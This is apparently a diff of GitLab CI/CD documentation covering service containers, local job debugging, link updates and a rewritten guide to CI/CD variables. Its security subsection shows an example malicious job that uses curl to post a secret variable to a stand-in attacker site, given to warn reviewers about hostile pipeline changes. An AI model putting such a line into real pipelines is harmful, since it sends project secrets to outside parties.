+The runner still starts two containers using the `mysql:latest` image,
+however now each of them are also accessible with the alias configured
+in `.gitlab-ci.yml` file.
+
+## Setting a command for the service
+
+> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](../docker/using_docker_images.md#extended-docker-configuration-options).
+
+Let's assume you have a `super/sql:latest` image with some SQL database
+in it. You would like to use it as a service for your job. Let's also
+assume that this image does not start the database process while starting
+the container. The user needs to manually use `/usr/bin/super-sql run` as
+a command to start the database.
+
+Before the new extended Docker configuration options, you would need to:
+
+- Create your own image based on the `super/sql:latest` image.
+- Add the default command.
+- Use the image in the job's configuration:
+
+ ```dockerfile
+ # my-super-sql:latest image's Dockerfile
+
+ FROM super/sql:latest
+ CMD ["/usr/bin/super-sql", "run"]
+ ```
+
+ ```yaml
+ # .gitlab-ci.yml
+
+ services:
+ - my-super-sql:latest
+ ```
+
+After the new extended Docker configuration options, you can
+set a `command` in the `.gitlab-ci.yml` file instead:
+
+```yaml
+# .gitlab-ci.yml
+
+services:
+ - name: super/sql:latest
+ command: ["/usr/bin/super-sql", "run"]
+```
+
+The syntax of `command` is similar to [Dockerfile's `CMD`](https://docs.docker.com/engine/reference/builder/#cmd).
+
+## How Docker integration works
+
+Below is a high level overview of the steps performed by Docker during job
+time.
+
+1. Create any service container: `mysql`, `postgresql`, `mongodb`, `redis`.
+1. Create a cache container to store all volumes as defined in `config.toml` and
+ `Dockerfile` of build image (`ruby:2.6` as in above example).
+1. Create a build container and link any service container to build container.
+1. Start the build container, and send a job script to the container.
+1. Run the job script.
+1. Checkout code in: `/builds/group-name/project-name/`.
+1. Run any step defined in `.gitlab-ci.yml`.
+1. Check the exit status of build script.
+1. Remove the build container and all created service containers.
+
+## Debug a job locally
+
+The following commands are run without root privileges. You should be
+able to run Docker with your regular user account.
+
+First start with creating a file named `build_script`:
+
+```shell
+cat <<EOF > build_script
+git clone https://gitlab.com/gitlab-org/gitlab-runner.git /builds/gitlab-org/gitlab-runner
+cd /builds/gitlab-org/gitlab-runner
+make
+EOF
+```
+
+Here we use as an example the GitLab Runner repository which contains a
+Makefile, so running `make` executes the commands defined in the Makefile.
+Instead of `make`, you could run the command which is specific to your project.
+
+Then create some service containers:
+
+```shell
+docker run -d --name service-mysql mysql:latest
+docker run -d --name service-postgres postgres:latest
+```
+
+This creates two service containers, named `service-mysql` and
+`service-postgres` which use the latest MySQL and PostgreSQL images
+respectively. They both run in the background (`-d`).
+
+Finally, create a build container by executing the `build_script` file we
+created earlier:
+
+```shell
+docker run --name build -i --link=service-mysql:mysql --link=service-postgres:postgres ruby:2.6 /bin/bash < build_script
+```
+
+The above command creates a container named `build` that's spawned from
+the `ruby:2.6` image and has two services linked to it. The `build_script` is
+piped using `stdin` to the bash interpreter which in turn executes the
+`build_script` in the `build` container.
+
+When you finish testing and no longer need the containers, you can remove them
+with:
+
+```shell
+docker rm -f -v build service-mysql service-postgres
+```
+
+This forcefully (`-f`) removes the `build` container, the two service
+containers, and all volumes (`-v`) that were created with the container
+creation.
diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md
index 5bd034cbf97..2185af0141d 100644
--- a/doc/ci/services/mysql.md
+++ b/doc/ci/services/mysql.md
@@ -14,7 +14,7 @@ need it for your tests to run.
If you want to use a MySQL container, you can use [GitLab Runner](../runners/README.md) with the Docker executor.
-1. [Create CI/CD variables](../variables/README.md#create-a-custom-variable-in-the-ui) for your
+1. [Create CI/CD variables](../variables/README.md#custom-cicd-variables) for your
MySQL database and password by going to **Settings > CI/CD**, expanding **Variables**,
and clicking **Add Variable**.
diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md
index 16576069583..8451d56a71c 100644
--- a/doc/ci/services/postgres.md
+++ b/doc/ci/services/postgres.md
@@ -31,7 +31,7 @@ variables:
To set values for the `POSTGRES_DB`, `POSTGRES_USER`,
`POSTGRES_PASSWORD` and `POSTGRES_HOST_AUTH_METHOD`,
-[assign them to a CI/CD variable in the user interface](../variables/README.md#create-a-custom-variable-in-the-ui),
+[assign them to a CI/CD variable in the user interface](../variables/README.md#custom-cicd-variables),
then assign that variable to the corresponding variable in your
`.gitlab-ci.yml` file.
@@ -45,7 +45,7 @@ Database: nice_marmot
```
If you're wondering why we used `postgres` for the `Host`, read more at
-[How services are linked to the job](../docker/using_docker_images.md#how-services-are-linked-to-the-job).
+[How services are linked to the job](../services/index.md#how-services-are-linked-to-the-job).
You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/_/postgres).
For example, to use PostgreSQL 9.3, the service becomes `postgres:9.3`.
diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md
index 72a99efc9bc..c04ff35212c 100644
--- a/doc/ci/ssh_keys/index.md
+++ b/doc/ci/ssh_keys/index.md
@@ -36,7 +36,8 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/)
`~/.ssh/authorized_keys`) or add it as a [deploy key](../../user/project/deploy_keys/index.md)
if you are accessing a private GitLab repository.
-The private key is displayed in the job log, unless you enable
+In the following example, the `ssh-add -` command does not display the value of
+`$SSH_PRIVATE_KEY` in the job log, though it could be exposed if you enable
[debug logging](../variables/README.md#debug-logging). You might also want to
check the [visibility of your pipelines](../pipelines/settings.md#visibility-of-pipelines).
diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md
index fa97cbdfcec..3cdf45a8cbc 100644
--- a/doc/ci/triggers/README.md
+++ b/doc/ci/triggers/README.md
@@ -188,38 +188,13 @@ source repository. Be sure to URL-encode `ref` if it contains slashes.
### Using webhook payload in the triggered pipeline
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31197) in GitLab 13.9.
-> - It's [deployed behind a feature flag](../../user/feature_flags.md), enabled by default.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-the-trigger_payload-variable). **(FREE SELF)**
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321027) in GitLab 13.11.
If you trigger a pipeline by using a webhook, you can access the webhook payload with
the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variables.md).
-The payload is exposed as a [file-type variable](../variables/README.md#custom-cicd-variables-of-type-file),
+The payload is exposed as a [file-type variable](../variables/README.md#cicd-variable-types),
so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command.
-#### Enable or disable the `TRIGGER_PAYLOAD` variable
-
-The `TRIGGER_PAYLOAD` CI/CD variable is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can opt to disable it.
-
-To disable it:
-
-```ruby
-Feature.disable(:ci_trigger_payload_into_pipeline)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:ci_trigger_payload_into_pipeline)
-```
-
## Making use of trigger variables
You can pass any number of arbitrary variables in the trigger API call and they
@@ -280,7 +255,7 @@ curl --request POST \
"https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
```
-Trigger variables have the [highest priority](../variables/README.md#priority-of-cicd-variables)
+Trigger variables have the [highest priority](../variables/README.md#cicd-variable-precedence)
of all types of variables.
## Using cron to trigger nightly pipelines
diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md
index 2aee5e364ad..c4f3073e142 100644
--- a/doc/ci/unit_test_reports.md
+++ b/doc/ci/unit_test_reports.md
@@ -41,7 +41,7 @@ Consider the following workflow:
## How it works
First, GitLab Runner uploads all [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html)
-as [artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts
+as [artifacts](yaml/README.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts
comparing the head and base branch's JUnit report format XML files, where:
- The base branch is the target branch (usually the default branch).
@@ -77,7 +77,7 @@ If a test failed in the project's default branch in the last 14 days, a message
## How to set it up
To enable the Unit test reports in merge requests, you need to add
-[`artifacts:reports:junit`](pipelines/job_artifacts.md#artifactsreportsjunit)
+[`artifacts:reports:junit`](yaml/README.md#artifactsreportsjunit)
in `.gitlab-ci.yml`, and specify the path(s) of the generated test reports.
The reports must be `.xml` files, otherwise [GitLab returns an Error 500](https://gitlab.com/gitlab-org/gitlab/-/issues/216575).
@@ -344,7 +344,7 @@ When [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/6061) is complet
If JUnit report format XML files contain an `attachment` tag, GitLab parses the attachment.
-Upload your screenshots as [artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. The `attachment` tag **must** contain the absolute path to the screenshots you uploaded.
+Upload your screenshots as [artifacts](yaml/README.md#artifactsreportsjunit) to GitLab. The `attachment` tag **must** contain the absolute path to the screenshots you uploaded.
```xml
<testcase time="1.00" name="Test">
diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md
index 5da501d4d8b..20de736a6e6 100644
--- a/doc/ci/variables/README.md
+++ b/doc/ci/variables/README.md
@@ -7,14 +7,18 @@ type: reference
# GitLab CI/CD variables **(FREE)**
-CI/CD variables are part of the environment in which [pipelines](../pipelines/index.md)
-and jobs run. For example, you could:
+CI/CD variables are a type of environment variable. You can use them to:
-- Use the value of a `TEMP` variable to know the correct location to store temporary files.
-- Use a `DATABASE_URL` variable for the URL to a database that can be reused in different scripts.
+- Control the behavior of jobs and [pipelines](../pipelines/index.md).
+- Store values you want to re-use.
+- Avoid hard-coding values in your `.gitlab-ci.yml` file.
-Variables can be used to customize your jobs in [GitLab CI/CD](../README.md).
-When you use variables, you don't have to hard-code values.
+You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
+
+- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+- [Project CI/CD variables](#project-cicd-variables).
+- [Group CI/CD variables](#group-cicd-variables).
+- [Instance CI/CD variables](#instance-cicd-variables).
> For more information about advanced use of GitLab CI/CD:
>
@@ -26,24 +30,14 @@ When you use variables, you don't have to hard-code values.
## Predefined CI/CD variables
GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md)
-that you can use without any additional specification.
-You can call issue numbers, user names, branch names,
-pipeline and commit IDs, and much more.
-
-Predefined variables are provided by GitLab for the local environment of the runner.
-
-GitLab reads the `.gitlab-ci.yml` file and sends the information
-to the runner, where the variables are exposed. The runner then runs the script commands.
+you can use in pipelines configuration and job scripts.
### Use predefined CI/CD variables
-You can choose one of the existing predefined CI/CD variables
-to be output by the runner.
-
-This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`.
+You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first.
-In your `.gitlab-ci.yml` file, call the variable from your script. Ensure
-you use the correct [syntax](#syntax-of-cicd-variables-in-job-scripts).
+This example shows how to output a job's stage by using the `CI_JOB_STAGE`
+predefined variable:
```yaml
test_variable:
@@ -52,60 +46,106 @@ test_variable:
- echo $CI_JOB_STAGE
```
-In this case, the runner outputs the `stage` for the
-job `test_variable`, which is `test`:
+The script outputs the `stage` for the `test_variable`, which is `test`:
![Output `$CI_JOB_STAGE`](img/ci_job_stage_output_example.png)
## Custom CI/CD variables
-When you need a specific custom variable, you can
-[set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md),
-or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml).
+You can create custom CI/CD variables:
-The variables are used by the runner any time the pipeline runs.
-You can also [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
+- For a project:
+ - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+ - [In the project's settings](#project-cicd-variables).
+ - [With the API](../../api/project_level_variables.md).
+- For all projects in a group [in the group's setting](#group-cicd-variables).
+- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables).
+
+You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
-There are two types of variables: **Variable** and **File**. You cannot set types in
-the `.gitlab-ci.yml` file, but you can set them in the UI and API.
+There are two types of variables: [`File` or `Variable`](#cicd-variable-types).
+
+Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html)
+to execute scripts. Each shell has its own set of reserved variable names.
+
+Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md).
-### Create a custom variable in `.gitlab-ci.yml`
+### Create a custom CI/CD variable in the `.gitlab-ci.yml` file
-To create a custom `env_var` variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file,
-define the variable/value pair under `variables`:
+To create a custom variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file,
+define the variable and value with `variables` keyword.
+
+You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file.
+If the variable is at the top level, it's globally available and all jobs can use it.
+If it's defined in a job, only that job can use it.
```yaml
variables:
- TEST: "HELLO WORLD"
+ TEST_VAR: "All jobs can use this variable's value"
+
+job1:
+ variables:
+ TEST_VAR_JOB: "Only job1 can use this variable's value"
+ script:
+ - echo $TEST_VAR and $TEST_VAR_JOB
+```
+
+Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project
+configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are
+visible in the repository. Store sensitive variables containing secrets, keys, and so on
+in project settings.
+
+Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md).
+
+If you don't want globally defined variables to be available in a job, set `variables`
+to `{}`:
+
+```yaml
+job1:
+ variables: {}
+ script:
+ - echo This job does not need any variables
```
-You can then call its value in your script:
+You can use variables to help define other variables. Use `$$` to ignore a variable
+name inside another variable:
```yaml
+variables:
+ FLAGS: '-al'
+ LS_CMD: 'ls $FLAGS $$TMP_DIR'
script:
- - echo "$TEST"
+ - 'eval $LS_CMD' # Executes 'ls -al $TMP_DIR'
```
-For more details, see [`.gitlab-ci.yml` defined variables](#gitlab-ciyml-defined-variables).
+Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines)
+keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
+for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually).
+
+### Project CI/CD variables
-### Create a custom variable in the UI
+You can add CI/CD variables to a project's settings. Only project members with
+[maintainer permissions](../../user/permissions.md#project-members-permissions)
+can add or update project CI/CD variables. To keep a CI/CD variable secret, put it
+in the project settings, not in the `.gitlab-ci.yml` file.
-From the UI, you can add or update custom variables:
+To add or update variables in the project settings:
1. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
-1. Click the **Add Variable** button. In the **Add variable** modal, fill in the details:
-
- - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- - **Value**: No limitations.
- - **Type**: `File` or `Variable`.
- - **Environment scope**: `All`, or specific [environments](../environments/index.md).
- - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
- - **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#masked-variable-requirements).
+1. Select the **Add Variable** button and fill in the details:
-After a variable is created, you can update any of the details by clicking the **{pencil}** **Edit** button.
+ - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
+ - **Value**: No limitations.
+ - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ - **Environment scope**: `All`, or specific [environments](../environments/index.md).
+ - **Protect variable** (Optional): If selected, the variable is only available
+ in pipelines that run on protected branches or tags.
+ - **Mask variable** (Optional): If selected, the variable's **Value** is masked
+ in job logs. The variable fails to save if the value does not meet the
+ [masking requirements](#mask-a-cicd-variable).
-After you set a variable, call it from the `.gitlab-ci.yml` file:
+After you create a variable, you can use it in the `.gitlab-ci.yml` file:
```yaml
test_variable:
@@ -121,114 +161,181 @@ The output is:
![Output custom variable](img/custom_variables_output.png)
-Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions).
+### Group CI/CD variables
-#### Security
+> - Introduced in GitLab 9.4.
+> - Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
-Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables.
+To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
-All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before:
+Use group variables to store secrets like passwords, SSH keys, and credentials, if you:
-- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
-- Merging the changes.
+- Do **not** use an external key store.
+- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
-Here is a simplified example of a malicious `.gitlab-ci.yml`:
+To add a group variable:
-```yaml
-build:
- script:
- - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
-```
+1. In the group, go to **Settings > CI/CD**.
+1. Select the **Add Variable** button and fill in the details:
-### Custom CI/CD variables of type Variable
+ - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
+ - **Value**: No limitations.
+ - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ - **Environment scope** (optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable).
+ - **Protect variable** (Optional): If selected, the variable is only available
+ in pipelines that run on protected branches or tags.
+ - **Mask variable** (Optional): If selected, the variable's **Value** is masked
+ in job logs. The variable fails to save if the value does not meet the
+ [masking requirements](#mask-a-cicd-variable).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
+To view the group-level variables available in a project:
+
+1. In the project, go to **Settings > CI/CD**.
+1. Expand the **Variables** section.
+
+Variables from [subgroups](../../user/group/subgroups/index.md) are recursively
+inherited.
+
+![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
-For variables with the type **Variable**, the runner creates an environment variable
-that uses the key for the name and the value for the value.
+### Instance CI/CD variables
-There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type,
-which may be further validated. They appear when you add or update a variable in the UI.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11.
-### Custom CI/CD variables of type File
+To make a CI/CD variable available to all projects and groups in a GitLab instance,
+define an instance CI/CD variable.
+
+You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md).
+
+To add an instance variable:
+
+1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
+1. Select the **Add variable** button, and fill in the details:
+
+ - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
+ - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028),
+ 10,000 characters is allowed. This is also bounded by the limits of the selected
+ runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed.
+ - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ - **Protect variable** (Optional): If selected, the variable is only available
+ in pipelines that run on protected branches or tags.
+ - **Mask variable** (Optional): If selected, the variable's **Value** is not shown
+ in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable).
+
+### CI/CD variable types
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
-For variables with the type **File**, the runner creates an environment variable that uses the key for the name.
-For the value, the runner writes the variable value to a temporary file and uses this path.
+All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file
+are `Variable` type. Project, group and instance CI/CD variables can be `Variable`
+or `File` type.
-You can use tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
+`Variable` type variables:
+
+- Consist of a key and value pair.
+- Are made available in jobs as environment variables, with:
+ - The CI/CD variable key as the environment variable name.
+ - The CI/CD variable value as the environment variable value.
+
+Use `File` type CI/CD variables for tools that need a file as input.
+
+`File` type variables:
+
+- Consist of a key, value and file.
+- Are made available in jobs as environment variables, with
+ - The CI/CD variable key as the environment variable name.
+ - The CI/CD variable value saved to a temporary file.
+ - The path to the temporary file as the environment variable value.
+
+Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable)
-to customize your configuration by using **File** type variables.
+use `File` type variables for configuration.
+
+For example, if you have the following variables:
-Previously, a common pattern was to read the value of a CI/CD variable, save it in a file, and then
-use that file in your script:
+- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`.
+- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value.
+
+Use the variables in a job script like this:
```shell
-# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
-echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
-# Pass the newly created file to kubectl
-kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
+kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
```
-Instead of this, you can use a **File** type variable. For example, if you have the following variables:
-
-- A variable of type **Variable**: `KUBE_URL` with the value `https://example.com`.
-- A variable of type **File**: `KUBE_CA_PEM` with a certificate as the value.
+An alternative to `File` type variables is to:
-You can call them from `.gitlab-ci.yml`, like this:
+- Read the value of a CI/CD variable (`variable` type).
+- Save the value in a file.
+- Use that file in your script.
```shell
-kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
+# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
+echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
+# Pass the newly created file to kubectl
+kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
```
-### Mask a custom variable
+### Mask a CI/CD variable
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10
-Variables can be masked so that the value of the variable is hidden in job logs.
+You can mask a project, group, or instance CI/CD variable so the value of the variable
+does not display in job logs.
To mask a variable:
-1. Go to **Settings > CI/CD**.
+1. Go to **Settings > CI/CD** in the project, group or instance admin area.
1. Expand the **Variables** section.
-1. Next to the variable you want to protect, click **Edit**.
+1. Next to the variable you want to protect, select **Edit**.
1. Select the **Mask variable** check box.
-1. Click **Update variable**.
-
-#### Masked variable requirements
+1. Select **Update variable**.
The value of the variable must:
-- Be in a single line.
-- Be at least 8 characters long.
-- Not be a predefined or custom CI/CD variable.
-- Consist only of:
+- Be a single line.
+- Be 8 characters or longer, consisting only of:
- Characters from the Base64 alphabet (RFC4648).
- The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later).
- The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later).
+- Not match the name of an existing predefined or custom CI/CD variable.
-You can't mask variables that don't meet these requirements.
+### Protect a CI/CD variable
-### Protect a custom variable
-
-> Introduced in GitLab 9.3.
-
-Variables can be protected. When a variable is
-protected, it is only passed to pipelines running on
-[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get
-the protected variable.
+You can protect a project, group or instance CI/CD variable so it is only passed
+to pipelines running on [protected branches](../../user/project/protected_branches.md)
+or [protected tags](../../user/project/protected_tags.md).
To protect a variable:
-1. Go to **Settings > CI/CD**.
+1. Go to **Settings > CI/CD** in the project, group or instance admin area.
1. Expand the **Variables** section.
-1. Next to the variable you want to protect, click **Edit**.
+1. Next to the variable you want to protect, select **Edit**.
1. Select the **Protect variable** check box.
-1. Click **Update variable**.
+1. Select **Update variable**.
The variable is available for all subsequent pipelines.
+### CI/CD variable security
+
+Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables
+and send them to a third party server regardless of the masked setting. If the pipeline
+runs on a [protected branch](../../user/project/protected_branches.md) or
+[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables.
+
+Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you:
+
+- [Run a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
+- Merge the changes.
+
+The following example shows malicious code in a `.gitlab-ci.yml` file:
+
+```yaml
+build:
+ script:
+ - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
+```
+
### Custom variables validated by GitLab
Some variables are listed in the UI so you can choose them more quickly.
@@ -240,26 +347,21 @@ Some variables are listed in the UI so you can choose them more quickly.
| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 |
WARNING:
-When you store credentials, there are security implications. If you are using AWS keys,
-for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
-
-## Syntax of CI/CD variables in job scripts
+When you store credentials, there are [security implications](#cicd-variable-security).
+If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
-All variables are set as environment variables in the build environment, and
-they are accessible with normal methods that are used to access such variables.
-In most cases `bash` or `sh` is used to execute the job script.
+## Use CI/CD variables in job scripts
-To access environment variables, use the syntax for your runner's [shell](https://docs.gitlab.com/runner/executors/).
+All CI/CD variables are set as environment variables in the job's environment.
+You can use variables in job scripts with the standard formatting for each environment's
+shell.
-| Shell | Usage |
-|----------------------|------------------------------------------|
-| bash/sh | `$variable` |
-| PowerShell | `$env:variable` (primary) or `$variable` |
-| Windows Batch | `%variable%`, or `!variable!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html), which can be used for variables that contain white spaces or newlines. |
+To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/).
-### Bash
+### Use variables with Bash, `sh` and similar
-To access environment variables in **bash**, prefix the CI/CD variable name with (`$`):
+To access environment variables in Bash, `sh`, and similar shells, prefix the
+CI/CD variable with (`$`):
```yaml
job_name:
@@ -267,13 +369,10 @@ job_name:
- echo $CI_JOB_ID
```
-### PowerShell
+### Use variables with PowerShell
-To access variables in a **Windows PowerShell** environment, including system set
-environment variables, prefix the variable name with (`$env:`). GitLab CI/CD variables
-can also be accessed by prefixing the variable name with (`$`) with
-[GitLab Runner 1.0.0](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/68)
-and later.
+To access variables in a Windows PowerShell environment, including environment
+variables set by the system, prefix the variable name with (`$env:`) or (`$`):
```yaml
job_name:
@@ -284,7 +383,7 @@ job_name:
```
In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820)
-environment variables may need to be surrounded by quotes to expand properly:
+environment variables might need to be surrounded by quotes to expand properly:
```yaml
job_name:
@@ -294,8 +393,8 @@ job_name:
### Windows Batch
-To access environment variables in **Windows Batch**, surround the variable
-with (`%`):
+To access environment variables in Windows Batch, surround the variable
+with `%`:
```yaml
job_name:
@@ -303,34 +402,45 @@ job_name:
- echo %CI_JOB_ID%
```
+You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html).
+Delayed expansion might be needed for variables that contain white spaces or newlines.
+
+```yaml
+job_name:
+ script:
+ - echo !ERROR_MESSAGE!
+```
+
### List all environment variables
-You can also list all environment variables with the `export` command in Bash
-or `dir env:` command in PowerShell.
-Be aware that this also exposes the values of all the variables
-you set, in the job log:
+You can list all environment variables available to a script with the `export` command
+in Bash or `dir env:` in PowerShell. This exposes the values of **all** available
+variables, which can be a [security risk](#cicd-variable-security).
+[Masked variables](#mask-a-cicd-variable) display as `[masked]`.
+
+For example:
```yaml
job_name:
script:
- export
- # - 'dir env:' # use this for PowerShell
+ # - 'dir env:' # Use this for PowerShell
```
-Example values:
+Example job log output:
```shell
export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="master"
-export CI_REPOSITORY_URL="https://gitlab-ci-token:abcde-1234ABCD5678ef@example.com/gitlab-org/gitlab-foss.git"
+export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
-export CI_JOB_TOKEN="abcde-1234ABCD5678ef"
+export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
@@ -346,7 +456,7 @@ export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY="registry.example.com"
export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY_USER="gitlab-ci-token"
-export CI_REGISTRY_PASSWORD="longalfanumstring"
+export CI_REGISTRY_PASSWORD="[masked]"
export CI_RUNNER_ID="10"
export CI_RUNNER_DESCRIPTION="my runner"
export CI_RUNNER_TAGS="docker, linux"
@@ -363,126 +473,26 @@ export CI_SERVER_VERSION_MINOR="9"
